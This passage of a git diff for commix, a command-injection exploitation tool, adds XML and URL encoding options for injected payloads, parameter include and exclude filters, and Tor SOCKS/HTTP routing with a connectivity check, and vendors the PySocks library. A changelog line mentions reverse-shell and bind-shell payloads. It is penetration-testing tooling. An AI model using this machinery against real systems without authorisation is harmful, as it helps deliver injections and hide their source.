changeset](https://github.com/commixproject/commix/compare/v1.4-20161017...v1.5-20161117)._ ## Version 1.4 (2016-10-17) -* Added: Support on crawler for checking target for the existence of 'sitemap.xml'. +* Added: Support on crawler for checking target for the existence of "sitemap.xml". * Revised: The payload for Ruby reverse-shell has been shortly revised. * Added: Support for bind TCP shell (via "bind_tcp" option). * Added: New option `--crawl` (1,2) for crawling of a given website, starting from the target url. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index dccdfd58fa..65cdfe8848 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1620,6 +1620,24 @@ def escape_json_value(value): def strip_xml_forbidden(value): return "".join(char for char in value if char >= " " or char in "\t\n\r") +def xml_encode_payload(payload): + """ + A payload on its way into a SOAP/XML body, with the characters the document cannot carry as + themselves written as their entities. + + What the shell receives is unchanged: the target's parser turns each entity back into the + character before the value is used. What changes is that the document stays well-formed, where + an '&' or a '<' of the payload's own would otherwise end the request at the parser instead of + at the shell. A numeric entity the payload wrote itself is kept, rather than having its own '&' + encoded a second time. + """ + if menu.options.skip_xmlencode: + return payload + marker = settings.RANDOM_TAG + payload = payload.replace("&#", marker) + payload = payload.replace("&", "&").replace(">", ">").replace("<", "<").replace("\"", """).replace("'", "'") + return payload.replace(marker, "&#") + """ Take the evaluated language from something the target already said about itself. @@ -1657,6 +1675,10 @@ def encode_payload(payload): So a '%' with no two hex digits behind it is made '%25' first - unless a tamper script is in play, since those write escapes of their own and this cannot tell theirs from a stray one. """ + # Sent as written, where the target is one that decodes what it is given a second time - or does + # not decode it at all. + if menu.options.skip_urlencode: + return payload if "%" in payload and not menu.options.tamper: payload = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", payload) return _urllib.parse.quote(payload, safe=settings.payload_safe_chars()) @@ -2216,6 +2238,21 @@ def parse_parameter_list(raw): if menu.options.skip_parameter: settings.SKIP_PARAMETERS_LIST = parse_parameter_list(menu.options.skip_parameter) + # A plain list of names is accepted in place of an expression, and becomes one that matches those + # names whole - so '--param-exclude="id,ses"' does not also exclude 'session_id'. + if menu.options.param_exclude: + if re.search(r"\A\w+,", menu.options.param_exclude): + menu.options.param_exclude = r"\A(" + "|".join(re.escape(_).strip() for _ in menu.options.param_exclude.split(settings.PARAMETER_SPLITTING_REGEX)) + r")\Z" + try: + re.compile(menu.options.param_exclude) + except Exception as err: + err_msg = "Invalid regular expression '" + menu.options.param_exclude + "' (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.param_filter: + settings.PARAM_FILTER_PLACES = [_.strip() for _ in menu.options.param_filter.upper().split(settings.PARAMETER_SPLITTING_REGEX) if _.strip()] + if menu.options.randomize: settings.RANDOMIZE_PARAMETERS_LIST = [_.strip() for _ in parse_parameter_list(menu.options.randomize) if _.strip()] # A parameter cannot be both the one carrying a new value every request and the one a payload diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 5cc96160cc..af5c790da8 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -142,7 +142,12 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites if not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: # A structured body escapes for itself; a form-encoded one needs the payload encoded for it. - body_payload = payload if (settings.IS_JSON or settings.IS_XML) else checks.encode_payload(payload) + if settings.IS_JSON: + body_payload = payload + elif settings.IS_XML: + body_payload = checks.xml_encode_payload(checks.strip_xml_forbidden(payload)) + else: + body_payload = checks.encode_payload(payload) data = checks.restore_xml_layout(checks.process_injectable_value(body_payload, menu.options.data)).encode(settings.DEFAULT_CODEC) else: if settings.USER_DEFINED_POST_DATA: @@ -748,6 +753,21 @@ def build(value): Proceed to the injection process for the appropriate parameter. """ def injection_process(url, check_parameter, http_request_method, filename, timesec, place): + # Named with '--param-filter': a parameter is tested only where it travels in one of the places + # asked for, and nothing is said about the rest - naming them is saying which ones matter. + if settings.PARAM_FILTER_PLACES and str(place).upper() not in settings.PARAM_FILTER_PLACES: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping the '" + str(place) + "' parameter '" + str(check_parameter) + "', which '--param-filter' does not name." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return + # Matched with '--param-exclude', against the parameter's own name and against the place it + # travels in, either of which is enough to leave it alone. + if menu.options.param_exclude and (re.search(menu.options.param_exclude, str(check_parameter), re.I) or \ + re.search(menu.options.param_exclude, str(place), re.I)): + info_msg = "Skipping the parameter '" + str(check_parameter) + "', excluded with '--param-exclude'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return + settings.NOT_TESTABLE_PARAMETERS = False # Bound here rather than where the techniques run: the parameter may be skipped before reaching # them, and the loop over operating systems below reads this either way. diff --git a/src/core/options.py b/src/core/options.py index e45c248520..205c5226fe 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -92,12 +92,21 @@ def validate(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + # Asked for on its own, it has nothing to check: the run goes out the way it always would. + if menu.options.check_tor and not any((menu.options.tor, menu.options.proxy)): + err_msg = "The switch '--check-tor' requires the switch '--tor' or the option '--proxy'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.tor_type and not menu.options.tor: + err_msg = "The option '--tor-type' requires the switch '--tor'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + if not menu.options.proxy: # Check if defined Tor (--tor option). if menu.options.tor: - if menu.options.tor_port: - settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port - menu.options.proxy = settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT + tor.set_proxy_settings() tor.do_check() if menu.options.ignore_session and menu.options.flush_session: diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index fb2e55cc0e..4abb3147c2 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -310,6 +310,18 @@ def banner(): default=False, help="Set Tor proxy port (Default: 8118).") +request.add_option("--tor-type", + action="store", + dest="tor_type", + default=None, + help="Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5).") + +request.add_option("--check-tor", + action="store_true", + dest="check_tor", + default=False, + help="Check to see if Tor is used properly.") + request.add_option("--auth-url", action="store", dest="auth_url", @@ -378,6 +390,18 @@ def banner(): default=None, help="Randomly change value for given parameter(s).") +request.add_option("--skip-urlencode", + action="store_true", + dest="skip_urlencode", + default=False, + help="Skip URL encoding of payload data.") + +request.add_option("--skip-xmlencode", + action="store_true", + dest="skip_xmlencode", + default=False, + help="Skip safe encoding of payload data for SOAP/XML.") + request.add_option("--timeout", action="store", dest="timeout", @@ -542,6 +566,18 @@ def banner(): dest="skip_parameter", help="Skip testing for given parameter(s).") +injection.add_option("--param-exclude", + action="store", + dest="param_exclude", + default=None, + help="Regexp to exclude parameters from testing (e.g. 'ses').") + +injection.add_option("--param-filter", + action="store", + dest="param_filter", + default=None, + help="Select testable parameter(s) by place (e.g. 'POST').") + injection.add_option("--suffix", action="store", dest="suffix", diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 412e7f9711..c95dc18079 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -118,7 +118,7 @@ def _try_credentials(url, realm, http_request_method, authentication_type, usern request = _urllib.request.Request(url, method=http_request_method) if menu.options.ignore_proxy: opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), authhandler, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) - elif menu.options.tor: + elif menu.options.tor and menu.options.tor_type == settings.PROXY_TYPE.HTTP: opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy}), authhandler, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) else: if menu.options.proxy: diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index c70f0e5f4d..735e5eed15 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -28,7 +28,7 @@ def use_proxy(request): proxy = _urllib.request.ProxyHandler({}) opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) _urllib.request.install_opener(opener) - elif menu.options.tor: + elif menu.options.tor and menu.options.tor_type == settings.PROXY_TYPE.HTTP: proxy = _urllib.request.ProxyHandler({settings.SCHEME:menu.options.proxy}) opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) _urllib.request.install_opener(opener) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 5c155f7bf6..43ea850277 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -609,7 +609,7 @@ def encoded_for_url(value): pass elif settings.IS_XML: # Likewise here: nothing to decode, and the characters XML cannot carry at all are dropped. - data = checks.restore_xml_layout(checks.process_injectable_value(checks.strip_xml_forbidden(payload), menu.options.data)) + data = checks.restore_xml_layout(checks.process_injectable_value(checks.xml_encode_payload(checks.strip_xml_forbidden(payload)), menu.options.data)) else: data = checks.process_injectable_value(encoded_for_url(payload), menu.options.data) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index cf6e33554c..8186e6da9f 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -14,7 +14,11 @@ """ import re +import json +import socket from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client +from src.thirdparty.socks import socks from src.core.parse import cmdline as menu from src.utils import settings from src.core.requests import proxy @@ -31,9 +35,94 @@ def tor_connection_error(): raise SystemExit() -# Check that the Tor network is reachable and that traffic is really going through it. +# The first of the given ports that something on the loopback address is listening on. +def find_local_port(ports): + for port in ports: + probe = None + try: + try: + probe = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM) + except AttributeError: + probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + probe.settimeout(settings.TIMEOUT) + probe.connect((settings.TOR_HTTP_PROXY_IP, int(port))) + return int(port) + except socket.error: + pass + finally: + if probe is not None: + try: + probe.close() + except socket.error: + pass + return None + + +# Route requests through an HTTP proxy standing in front of Tor. +def set_http_proxy_settings(): + info_msg = "Setting the Tor HTTP proxy settings." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + port = find_local_port((menu.options.tor_port,) if menu.options.tor_port else settings.DEFAULT_TOR_HTTP_PORTS) + if not port: + err_msg = "Could not establish a connection with the Tor HTTP proxy. " + err_msg += "Please make sure that you have Tor (bundle) installed and set up, " + err_msg += "so that you are able to successfully use the '--tor' switch." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + settings.TOR_HTTP_PROXY_PORT = str(port) + menu.options.proxy = settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT + + if not menu.options.check_tor: + warn_msg = "Use the '--check-tor' switch at your own convenience when accessing the Tor " + warn_msg += "anonymizing network, because of known issues with the default settings of " + warn_msg += "various bundles (e.g. Vidalia)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + +# Route requests through the Tor service itself, which speaks SOCKS rather than HTTP. +def set_socks_proxy_settings(): + info_msg = "Setting the Tor SOCKS proxy settings." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + port = find_local_port((menu.options.tor_port,) if menu.options.tor_port else settings.DEFAULT_TOR_SOCKS_PORTS) + if not port: + err_msg = "Could not establish a connection with the Tor SOCKS proxy. " + err_msg += "Please make sure that you have Tor service installed and set up, " + err_msg += "so that you are able to successfully use the '--tor' switch." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # SOCKS5 has the names resolved at the other end, where SOCKS4 leaks each one to the local + # resolver - which is the target's name, asked for by this host, in plain sight. + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if menu.options.tor_type == settings.PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, settings.TOR_HTTP_PROXY_IP, port) + socks.wrapmodule(_http_client) + + +# Route requests through Tor, as whichever kind of proxy it is listening as. +def set_proxy_settings(): + if not menu.options.tor: + return + tor_type = (menu.options.tor_type or settings.DEFAULT_TOR_TYPE).upper() + if tor_type not in settings.TOR_TYPES: + err_msg = "The value of the '--tor-type' option must be one of " + ", ".join("'" + _ + "'" for _ in settings.TOR_TYPES) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + menu.options.tor_type = tor_type + + if tor_type == settings.PROXY_TYPE.HTTP: + set_http_proxy_settings() + else: + set_socks_proxy_settings() + + +# Ask the Tor network itself whether this run is really coming through it. def do_check(): - info_msg = "Testing connection to the Tor network." + if not menu.options.check_tor: + return + + info_msg = "Checking the Tor connection." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.offline: @@ -42,26 +131,22 @@ def do_check(): raise SystemExit() try: - request = _urllib.request.Request(settings.CHECK_TOR_PAGE, method=settings.HTTPMETHOD.GET) + request = _urllib.request.Request(settings.CHECK_TOR_API_PAGE, method=settings.HTTPMETHOD.GET) response = proxy.use_proxy(request) page = response.read().decode(settings.DEFAULT_CODEC) + is_tor = json.loads(page).get("IsTor") except Exception: - page = None - - if not page: - tor_connection_error() + is_tor = None - ip_match = re.search(r'Your IP address appears to be:\s*<strong>(\d+\.\d+\.\d+\.\d+)</strong>', page) - tor_ip = ip_match.group(1) if ip_match else "unknown" - - if tor_ip == "unknown": - warn_msg = "Tor page fetched but no IP detected. Tor may not be routing traffic properly." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if not is_tor: + err_msg = "It appears that Tor is not properly set. " + err_msg += "Please try using the '--tor-type' and/or '--tor-port' options." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() - else: - if settings.VERBOSITY_LEVEL >= 1: - debug_msg = "Tor connection established and traffic is routing through exit node: IP: " + tor_ip - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The connection is routed through the Tor network." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) # eof diff --git a/src/thirdparty/socks/LICENSE b/src/thirdparty/socks/LICENSE new file mode 100644 index 0000000000..04b6b1f37c --- /dev/null +++ b/src/thirdparty/socks/LICENSE @@ -0,0 +1,22 @@ +Copyright 2006 Dan-Haim. All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +3. Neither the name of Dan Haim nor the names of his contributors may be used + to endorse or promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO +EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA +OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. diff --git a/src/thirdparty/socks/__init__.py b/src/thirdparty/socks/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/src/thirdparty/socks/socks.py b/src/thirdparty/socks/socks.py new file mode 100644 index 0000000000..0356d875a7 --- /dev/null +++ b/src/thirdparty/socks/socks.py @@ -0,0 +1,897 @@ +from base64 import b64encode +try: + from collections.abc import Callable +except ImportError: + from collections import Callable +from errno import EOPNOTSUPP, EINVAL, EAGAIN +import functools +from io import BytesIO +import logging +import os +from os import SEEK_CUR +import socket +import struct +import sys + +__version__ = "1.7.1" + + +if os.name == "nt" and sys.version_info < (3, 0): + try: + from thirdparty.wininetpton import win_inet_pton + except ImportError: + try: + import win_inet_pton + except ImportError: + raise ImportError( + "To run PySocks on Windows you must install win_inet_pton") + +log = logging.getLogger(__name__) + +PROXY_TYPE_SOCKS4 = SOCKS4 = 1 +PROXY_TYPE_SOCKS5 = SOCKS5 = 2 +PROXY_TYPE_HTTP = HTTP = 3 + +PROXY_TYPES = {"SOCKS4": SOCKS4, "SOCKS5": SOCKS5, "HTTP": HTTP} +PRINTABLE_PROXY_TYPES = dict(zip(PROXY_TYPES.values(), PROXY_TYPES.keys())) + +_orgsocket = _orig_socket = socket.socket +_orgcreateconnection = socket.create_connection + + +def set_self_blocking(function): + + @functools.wraps(function) + def wrapper(*args, **kwargs): + self = args[0] + try: + _is_blocking = self.gettimeout() + if _is_blocking == 0: + self.setblocking(True) + return function(*args, **kwargs) + except Exception as e: + raise + finally: + # set orgin blocking + if _is_blocking == 0: + self.setblocking(False) + return wrapper + + +class ProxyError(IOError): + """Socket_err contains original socket.error exception.""" + def __init__(self, msg, socket_err=None): + self.msg = msg + self.socket_err = socket_err + + if socket_err: + self.msg += ": {}".format(socket_err) + + def __str__(self): + return self.msg + + +class GeneralProxyError(ProxyError): + pass + + +class ProxyConnectionError(ProxyError): + pass + + +class SOCKS5AuthError(ProxyError): + pass + + +class SOCKS5Error(ProxyError): + pass + + +class SOCKS4Error(ProxyError): + pass + + +class HTTPError(ProxyError): + pass + + +# Backward-compatible SocksiPy class names used by older callers. +Socks5AuthError = SOCKS5AuthError +Socks5Error = SOCKS5Error +Socks4Error = SOCKS4Error + +SOCKS4_ERRORS = { + 0x5B: "Request rejected or failed", + 0x5C: ("Request rejected because SOCKS server cannot connect to identd on" + " the client"), + 0x5D: ("Request rejected because the client program and identd report" + " different user-ids") +} + +SOCKS5_ERRORS = { + 0x01: "General SOCKS server failure", + 0x02: "Connection not allowed by ruleset", + 0x03: "Network unreachable", + 0x04: "Host unreachable", + 0x05: "Connection refused", + 0x06: "TTL expired", + 0x07: "Command not supported, or protocol error", + 0x08: "Address type not supported" +} + +DEFAULT_PORTS = {SOCKS4: 1080, SOCKS5: 1080, HTTP: 8080} + + +def set_default_proxy(proxy_type=None, addr=None, port=None, rdns=True, + username=None, password=None): + """Sets a default proxy. + + All further socksocket objects will use the default unless explicitly + changed. All parameters are as for socket.set_proxy().""" + socksocket.default_proxy = (proxy_type, addr, port, rdns, + username.encode() if username else None, + password.encode() if password else None) + + +def setdefaultproxy(*args, **kwargs): + if "proxytype" in kwargs: + kwargs["proxy_type"] = kwargs.pop("proxytype") + return set_default_proxy(*args, **kwargs) + + +def get_default_proxy(): + """Returns the default proxy, set by set_default_proxy.""" + return socksocket.default_proxy + +getdefaultproxy = get_default_proxy + + +def wrap_module(module): + """Attempts to replace a module's socket library with a SOCKS socket. + + Must set a default proxy using set_default_proxy(...) first. This will + only work on modules that import socket directly into the namespace; + most of the Python Standard Library falls into this category. + + Keep the historical guarded socket wrapper so non-INET/non-stream + sockets are not proxied, and keep the create_connection() patch for + SOCKS5/HTTP proxies to avoid local DNS leakage. + """ + if socksocket.default_proxy: + _orig_socket_ctor = _orgsocket + + @functools.wraps(_orig_socket_ctor) + def guarded_socket(*args, **kwargs): + family = args[0] if len(args) > 0 else kwargs.get("family", socket.AF_INET) + stype = args[1] if len(args) > 1 else kwargs.get("type", socket.SOCK_STREAM) + + flags = 0 + flags |= getattr(socket, "SOCK_CLOEXEC", 0) + flags |= getattr(socket, "SOCK_NONBLOCK", 0) + base_type = stype & ~flags + + if family in (socket.AF_INET, getattr(socket, "AF_INET6", socket.AF_INET)) and base_type == socket.SOCK_STREAM: + return socksocket(*args, **kwargs) + + return _orig_socket_ctor(*args, **kwargs) + + module.socket.socket = guarded_socket + + if socksocket.default_proxy[0] != PROXY_TYPE_SOCKS4: + module.socket.create_connection = create_connection + else: + raise GeneralProxyError("No default proxy specified") + + +def unwrap_module(module): + module.socket.socket = _orgsocket + module.socket.create_connection = _orgcreateconnection + +wrapmodule = wrap_module +unwrapmodule = unwrap_module + + +def create_connection(dest_pair, + timeout=None, source_address=None, + proxy_type=None, proxy_addr=None, + proxy_port=None, proxy_rdns=True, + proxy_username=None, proxy_password=None, + socket_options=None): + """create_connection(dest_pair, *[, timeout], **proxy_args) -> socket object + + Like socket.create_connection(), but connects to proxy + before returning the socket object. + + dest_pair - 2-tuple of (IP/hostname, port). + **proxy_args - Same args passed to socksocket.set_proxy() if present. + timeout - Optional socket timeout value, in seconds. + source_address - tuple (host, port) for the socket to bind to as its source + address before connecting (only for compatibility) + """ + # Remove IPv6 brackets on the remote address and proxy address. + remote_host, remote_port = dest_pair + if remote_host.startswith("["): + remote_host = remote_host.strip("[]") + if proxy_addr and proxy_addr.startswith("["): + proxy_addr = proxy_addr.strip("[]") + + # when this function is installed as socket.create_connection(), + # callers do not pass explicit proxy_* arguments; use the default proxy. + use_default_proxy = proxy_type is None and socksocket.default_proxy + if use_default_proxy: + proxy_type, proxy_addr, proxy_port, proxy_rdns, proxy_username, proxy_password = socksocket.default_proxy + elif proxy_type is None: + return _orgcreateconnection(dest_pair, timeout, source_address) + + proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type) + err = None + + # Allow the SOCKS proxy to be on IPv4 or IPv6 addresses. + for r in socket.getaddrinfo(proxy_addr, proxy_port, 0, socket.SOCK_STREAM): + family, socket_type, proto, canonname, sa = r + sock = None + try: + sock = socksocket(family, socket_type, proto) + + if socket_options: + for opt in socket_options: + sock.setsockopt(*opt) + + if isinstance(timeout, (int, float)): + sock.settimeout(timeout) + + if proxy_type and not use_default_proxy: + sock.set_proxy(proxy_type, proxy_addr, proxy_port, proxy_rdns, + proxy_username, proxy_password) + if source_address: + sock.bind(source_address) + + sock.connect((remote_host, remote_port)) + return sock + + except (socket.error, ProxyError) as e: + err = e + if sock: + sock.close() + sock = None + + if err: + raise err + + raise socket.error("gai returned empty list.") + + +class _BaseSocket(socket.socket): + """Allows Python 2 delegated methods such as send() to be overridden.""" + def __init__(self, *pos, **kw): + _orig_socket.__init__(self, *pos, **kw) + + self._savedmethods = dict() + for name in self._savenames: + self._savedmethods[name] = getattr(self, name) + delattr(self, name) # Allows normal overriding mechanism to work + + _savenames = list() + + +def _makemethod(name): + return lambda self, *pos, **kw: self._savedmethods[name](*pos, **kw) +for name in ("sendto", "send", "recvfrom", "recv"): + method = getattr(_BaseSocket, name, None) + + # Determine if the method is not defined the usual way + # as a function in the class. + # Python 2 uses __slots__, so there are descriptors for each method, + # but they are not functions. + if not isinstance(method, Callable): + _BaseSocket._savenames.append(name) + setattr(_BaseSocket, name, _makemethod(name)) + + +class socksocket(_BaseSocket): + """socksocket([family[, type[, proto]]]) -> socket object + + Open a SOCKS enabled socket. The parameters are the same as + those of the standard socket init. In order for SOCKS to work, + you must specify family=AF_INET and proto=0. + The "type" argument must be either SOCK_STREAM or SOCK_DGRAM. + """ + + default_proxy = None + + def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, + proto=0, *args, **kwargs): + if type not in (socket.SOCK_STREAM, socket.SOCK_DGRAM): + msg = "Socket type must be stream or datagram, not {!r}" + raise ValueError(msg.format(type)) + + super(socksocket, self).__init__(family, type, proto, *args, **kwargs) + self._proxyconn = None # TCP connection to keep UDP relay alive + + if self.default_proxy: + self.proxy = self.default_proxy + else: + self.proxy = (None, None, None, None, None, None) + self.proxy_sockname = None + self.proxy_peername = None + + self._timeout = None + + def _readall(self, file, count): + """Receive EXACTLY the number of bytes requested from the file object. + + Blocks until the required number of bytes have been received.""" + data = b"" + while len(data) < count: + d = file.read(count - len(data)) + if not d: + raise GeneralProxyError("Connection closed unexpectedly") + data += d + return data + + def settimeout(self, timeout): + self._timeout = timeout + try: + # test if we're connected, if so apply timeout + peer = self.get_proxy_peername() + super(socksocket, self).settimeout(self._timeout) + except socket.error: + pass + + def gettimeout(self): + return self._timeout + + def setblocking(self, v): + if v: + self.settimeout(None) + else: + self.settimeout(0.0) + + def set_proxy(self, proxy_type=None, addr=None, port=None, rdns=True, + username=None, password=None): + """ Sets the proxy to be used. + + proxy_type - The type of the proxy to be used. Three types + are supported: PROXY_TYPE_SOCKS4 (including socks4a), + PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP + addr - The address of the server (IP or DNS). + port - The port of the server. Defaults to 1080 for SOCKS + servers and 8080 for HTTP proxy servers. + rdns - Should DNS queries be performed on the remote side + (rather than the local side). The default is True. + Note: This has no effect with SOCKS4 servers. + username - Username to authenticate with to the server. + The default is no authentication. + password - Password to authenticate with to the server. + Only relevant when username is also provided.""" + self.proxy = (proxy_type, addr, port, rdns, + username.encode() if username else None, + password.encode() if password else None) + + def setproxy(self, *args, **kwargs): + if "proxytype" in kwargs: + kwargs["proxy_type"] = kwargs.pop("proxytype") + return self.set_proxy(*args, **kwargs) + + def bind(self, *pos, **kw): + """Implements proxy connection for UDP sockets. + + Happens during the bind() phase.""" + (proxy_type, proxy_addr, proxy_port, rdns, username, + password) = self.proxy + if not proxy_type or self.type != socket.SOCK_DGRAM: + return _orig_socket.bind(self, *pos, **kw) + + if self._proxyconn: + raise socket.error(EINVAL, "Socket already bound to an address") + if proxy_type != SOCKS5: + msg = "UDP only supported by SOCKS5 proxy type" + raise socket.error(EOPNOTSUPP, msg) + super(socksocket, self).bind(*pos, **kw) + + # Need to specify actual local port because + # some relays drop packets if a port of zero is specified. + # Avoid specifying host address in case of NAT though. + _, port = self.getsockname() + dst = ("0", port) + + self._proxyconn = _orig_socket() + proxy = self._proxy_addr() + self._proxyconn.connect(proxy) + + UDP_ASSOCIATE = b"\x03" + _, relay = self._SOCKS5_request(self._proxyconn, UDP_ASSOCIATE, dst) + + # The relay is most likely on the same host as the SOCKS proxy, + # but some proxies return a private IP address (10.x.y.z) + host, _ = proxy + _, port = relay + super(socksocket, self).connect((host, port)) + super(socksocket, self).settimeout(self._timeout) + self.proxy_sockname = ("0.0.0.0", 0) # Unknown + + def sendto(self, bytes, *args, **kwargs): + if self.type != socket.SOCK_DGRAM: + return super(socksocket, self).sendto(bytes, *args, **kwargs) + if not self._proxyconn: + self.bind(("", 0)) + + address = args[-1] + flags = args[:-1] + + header = BytesIO() + RSV = b"\x00\x00" + header.write(RSV) + STANDALONE = b"\x00" + header.write(STANDALONE) + self._write_SOCKS5_address(address, header) + + sent = super(socksocket, self).send(header.getvalue() + bytes, *flags, + **kwargs) + return sent - header.tell() + + def send(self, bytes, flags=0, **kwargs): + if self.type == socket.SOCK_DGRAM: + return self.sendto(bytes, flags, self.proxy_peername, **kwargs) + else: + return super(socksocket, self).send(bytes, flags, **kwargs) + + def recvfrom(self, bufsize, flags=0): + if self.type != socket.SOCK_DGRAM: + return super(socksocket, self).recvfrom(bufsize, flags) + if not self._proxyconn: + self.bind(("", 0)) + + buf = BytesIO(super(socksocket, self).recv(bufsize + 1024, flags)) + buf.seek(2, SEEK_CUR) + frag = buf.read(1) + if ord(frag): + raise NotImplementedError("Received UDP packet fragment") + fromhost, fromport = self._read_SOCKS5_address(buf) + + if self.proxy_peername: + peerhost, peerport = self.proxy_peername + if fromhost != peerhost or peerport not in (0, fromport): + raise socket.error(EAGAIN, "Packet filtered") + + return (buf.read(bufsize), (fromhost, fromport)) + + def recv(self, *pos, **kw): + bytes, _ = self.recvfrom(*pos, **kw) + return bytes + + def close(self): + if self._proxyconn: + self._proxyconn.close() + return super(socksocket, self).close() + + def get_proxy_sockname(self): + """Returns the bound IP address and port number at the proxy.""" + return self.proxy_sockname + + getproxysockname = get_proxy_sockname + + def get_proxy_peername(self): + """ + Returns the IP and port number of the proxy. + """ + return self.getpeername() + + getproxypeername = get_proxy_peername + + def get_peername(self): + """Returns the IP address and port number of the destination machine. + + Note: get_proxy_peername returns the proxy.""" + return self.proxy_peername + + getpeername = get_peername + + def _negotiate_SOCKS5(self, *dest_addr): + """Negotiates a stream connection through a SOCKS5 server.""" + CONNECT = b"\x01" + self.proxy_peername, self.proxy_sockname = self._SOCKS5_request( + self, CONNECT, dest_addr) + + def _SOCKS5_request(self, conn, cmd, dst): + """ + Send SOCKS5 request with given command (CMD field) and + address (DST field). Returns resolved DST address that was used. + """ + proxy_type, addr, port, rdns, username, password = self.proxy + + writer = conn.makefile("wb") + reader = conn.makefile("rb", 0) # buffering=0 renamed in Python 3 + try: + # First we'll send the authentication packages we support. + if username and password: + # The username/password details were supplied to the + # set_proxy method so we support the USERNAME/PASSWORD + # authentication (in addition to the standard none). + writer.write(b"\x05\x02\x00\x02") + else: + # No username/password were entered, therefore we + # only support connections with no authentication. + writer.write(b"\x05\x01\x00") + + # We'll receive the server's response to determine which + # method was selected + writer.flush() + chosen_auth = self._readall(reader, 2) + + if chosen_auth[0:1] != b"\x05": + # Note: string[i:i+1] is used because indexing of a bytestring + # via bytestring[i] yields an integer in Python 3 + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + + # Check the chosen authentication method + + if chosen_auth[1:2] == b"\x02": + # Okay, we need to perform a basic username/password + # authentication. + if not (username and password): + # Although we said we don't support authentication, the + # server may still request basic username/password + # authentication + raise SOCKS5AuthError("No username/password supplied. " + "Server requested username/password" + " 